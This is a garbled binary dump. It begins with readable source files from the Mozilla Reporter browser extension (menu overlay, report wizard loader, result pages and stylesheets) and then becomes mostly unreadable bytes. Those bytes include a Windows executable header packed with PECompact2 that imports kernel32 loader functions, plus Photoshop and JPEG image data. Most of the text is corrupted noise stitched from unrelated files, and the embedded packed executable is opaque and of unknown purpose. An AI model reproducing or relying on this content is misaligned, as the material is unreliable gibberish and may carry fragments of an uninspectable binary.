// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019 4/10/2019 4/10/2019 MZ
L!This program cannot be run in DOS mode.
PEC2^O
mbTpEN
:EWB(CO!
P\_!"%
hDB;e@~o
u|KrA/
b^UbUA
#Dzsb2dp&d
I81,xN6`
@Kk\;>d_y
%WzztE+`i[gV[bf1=9
D;kbr7?WY|
Z(PQ.KWUd
IWa+VW
t_%f]l.k+
b7/+Kv=Qg
E\!yP^U,agOPB`
ie}>u!
{xzGG3v0c\>AtUVY
q|^pXK
#il;C2
ktbQo!TZ
.,.Mh!Y!h'.*
q'e1_?m("
Xd'Ziay
n-C/T
0#ZWT|@KJ
eDtlk1
Vh0y&]!
?j|829J
xT+8v(
$J}ji0
fU^ma2yUf
pnxv=k
CK?K~9f\(%{
H<nO0.g
(b$a,kz"`Hn#[<ms&Q%
A^1.Q>-b
5#IK3&X!%V\q
ixz"SYOY
J^MfzNun
Ik^-tHS*
[9h?vnqd
J7Vng0
J#H#{]`$RXBPJ
N$Le=F
=8wv-3
s#*Za&DZ9
v?L$4P
v|jhXQ]N'
mGd/VD)=1B
3|P)ST
atgZCU+g
+d0J1I
18pO^l>p3
m'@e'05
LgThHL
D#f{O(J`d"rF
J7urt`Rj
3$+cC9W
yywWm;
Jjex|s
X!#uoK12#
"s@K\}C
?R{,hUUu ikHc
PECompact2
\ugWPw
H%caAp
6m8Nme!6
VR^]RIK5
vdQ_w\|H
y9e!w)n
]oRln uJ
=%8T"mXgbslcoF
$E,+hu
s@B?hqa`
#^|G(!8
x`T"@h
Ozi FzR7
zL)cOx
ba&tqa
J`/O`0
.E]=NQjKnw
1.19_p
vS}pT<*bgN_
WGc.5mIr@`^
/M8@tCL=ge
H:aP%w9iWPs0.,q
2\.vghK>-(au
"hA=1M-
r9W;>-
gigov
0~P<!Az$
#]_E{3o
4{h.6DsN!
+QRKK?t
^**5!<Vg
NZ_Rt
s0BRK3.[q#I
gKO3lToa
wW-E&@&A^t&
HEC+X[:
?EXN\GO(?
%OIpMEG
e+.;:?
Y;zVpN
Z'K20Vxq
?%Mh2^G
lXV!QOA,ex
pS@hv;
i'h8Q]g
tM;k/&i
bKz5Bg3
c14=pxh
Y,9}'r=[39dUM{RZ_
QN.KEnB[r
.nyULT6
xl$T&0C6
q]}N:)
Ag7F%TQf|U`
#h7HlV/M
PG3ilpeGA~oLIC,
}r/h{bG~
MCPTl+mj
oD u{VuLR.%
9iXS7b
^#w0N8
QqKrx[1T|>*
+NW{(h
I~+aXHt
uTpNMC
XC6mD.g
a`v\.$J,s[
u<-@pc}]
phusCJH]
o!w-BTy&
i*V&S9
Jtt]{JQ
E*wmc3e(jbtgh(
v-9q[3$uZU
HdOM1x&
8WiNW@
e87@46]
}D~+eLuOf
nAr8ei#v
~K(rAN
(rU)E'
TU?Ho9oJ
b'c4;|
p~>\\c@WCG{
t[1It/Tl"x
mNP_nw_WUZ
Q;G9%2|v13
;Li[@cc+
bYV/LT
DU=m?M!]
+@@L4~Ru4
ycr1FJP
/d._]aUIU>2|
/wQ)bAvRw;
*cV!^vgFcu*o
8.t__g
_P}`\nJ
))_c,dQ
'/ZMtQ
krgkLpf
'WC,oj /9
0psHW
'"[<VGs`
,G^`h,x
Gyp.`[
Ilv6Lgqm`x~Z
}oo\sRapWTz
'uwTH"
X8`,fw-
Zj{I# AJ
3G>51D8GvkR
<1V\%H
b.l} 2#,cczg%V
Y_eza^.\/CVj8tg
UsKjSS
nB^ur8E k
.QTcR
w!T4)9tZBlc<,
x,aajYE
[*V^|B)u?
XycA )%
4R5w1g
%!'Y'(
:pBjSqP
PJ2%b6
t6w6Gux
38pq" E
hJVulHWsL<-l_
ht=+?l}3@rrP
}3;+9
HtU*pM<(
Z\YLGA
t9*YKw
yGMa.%
%J=i:
O"os7?
1xtD/g
j:<^$V%e
mh>iFMk/[o
{CQ0*1w9
4Wr7%x{
<)~@mWV
`Z_IDJAtY<i-i
6t<rzt5<`[5L
E;7]A7JKd|JI
li3@kg
WeN)bJ
>3gJF%Lj
B^L<J#%G*6=lf
Tn#qn)r.0
wX8OZm?
CWsi0>
2NbXy4Ro71!6E
'QXqE6
Tmd7 E!
3q4.p=[);"r
H,u"[
ZPv,@J5!-
?zw!.RrM+<
wQkMS&P'P1
YR|7^RVM0iqC
\bw>_|{
WwbfwBL_m
~(N'5&/q{'9
\~c!{MFz|@m!Qk>C&
L83C^(%=
rN4RE^5wH]
z:wy@NaW:c5Si2h
<9Aj?Q)d77(+
^qyc;03Zet
$nggb
9i'eZU$!w
M!@/ce8
zr:S;2__Qx9p=`
a"DJe&dS3$)*
f%o9q\
hm1\GY
WO4O0k
)f/q0fP=
e7NhV7xU
+5C9&I
@sEuQr
+w5kV%5
0dV+ghQl0^/
>fBX&D
C.V7zyic,
8/5$DJ~A{D=:D
gb@U+-
TC2F-a=GP
v%ezB&j1Li
!-Ci~0
)ttg=y|
_ATRPx2
y&Fyuv~^r
bk'+$#*7^'Lz
!rZaz&
^Hmyqk
Ipx&(
4Pxt.$
FHg^BL8YoR
l)"]%l#
/x*_UL'2
NLy`dsf2GK*a,
|i_w<Y[
_H#|Dc
s2xy{`
w"g]P<
0;mfh})b
7CUq]CMC
jV9z)]Jl?
C@EP7$1
f@U2|*lc
Gm18xu
]yJT_}
{pY."h=U
`ZHL~`
1w.7BgpY
Zdp/Rn>
>?i/Ow
apHgV1+PrLd
!i6d@G[
#>BOIr1:%
r>r+HE
wsIAwh<e
/Gn6g1.gUij4H^m2
nITgLTmnvt:9
Y0Kb.Pp/8XiQF>+lp
O0jw%#-
Kl$;.jB%
9`R#IA,n
Texk`%
P#qd\lKB
<*sfk;k
.v^Z[$
qz{W(g8i!D7;uM
tVxNg\
Cb(3>
HVpag]Sn?lQ
YEB~0sqq[
:t_]BJ
skX#r[yzum&wL
p5v{9Fo
Yc>#~^q9?
bkGV-}:
r#hKgb\;
<|Kr9%|
m:Cs^W?+6g{EA23!
aEP0oh3QzLY
H/0\.]
6R]qW>EK
#0 1XiY
@?j&Y($/
0i2nyK\bF
L@8|V,
f.%tS-
iLOls;:
+A'QZ`
wxG]Aa
3yXOq6q;?91q
AVrLMq[+zMOy#w`
vSA'?T
\IT`mN[Q
~,b#*2r
|syW)wH8
A(dXS|
bsl(&o
PmeCv7KjZ:`\}OX
XmO+4V3UNXko,z0dU*D
IU+NdafDum
S"y"Zh
w{5pLy
&/LbxVnE{b4
]<l)$E
(j.LF1
'r;W8}
~T$ivBr
:2&<*&Qe,wj7
;@p"Wy)
d?[xn-#|7m0
kd#a`/
ngN`\DO
h2PswM
/}'_$T
O3|yRG
6%6EDSD
f8'F~=8J6=
GvE2Hl+*@A3O'
80sNSor
vda{& f
cjk_T}+j
q#Kc#i^?,
N#>f\xZ-b
rI2"T?m.FS
~![V&8
tvVEUa7d
{M}Ueg
Pv\o(a8E/,3Ky
9ulAnG)n}
s4jCT?!1|
[KLm1&QOkOq
fU8D8*
!1o?|j7*+`5
0=_l,G_L
^dmI^yp`lP%#%
1puvv\
G-QJD@
FAt_;$<o
`dyv'8
S+#NXV
z~E<z/
!1Na>Jq}
~z\qyE
FE8UZ1&&
@+7cs`
E?x]='
ZaOrF~
gYUFwbZlr
q[%FQx
eIS}<[g!
(2,u73
7oFNLqd
g5UVuZ~
:Ig{8m
QD(QI%C'P
-BT=Cg~\
Eh(qB
%&;FX%
2dE~4^9
{BQd!,r
uVKc1hg
~R0h[b
+Roj?k3eZ
fU,;j}k~
Qx0d.'
3qwIDblZ%
Nm-Z w
p,tUVv
d2:@nPmD036[l
:12DT*p,Wdyv$e
Jsieoc_
c\Ru~=
=!W+BP
+}eDR.Ml:'X
F={P4{a
:D\r8yA
70L92AoU
$\{gI{
_>/~07
Cu"$i{xE~9P@km7"
chcYp+/'
VvS]D!@.8o5V4+
nU#6~
uHO>M?C
8N9t=,7
>zLC9[uO
92V'>h1BuZ/%j
bS. *KDg)t0
O7B[(N
U(l'?XsS\/u$Ii
J__B@y
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
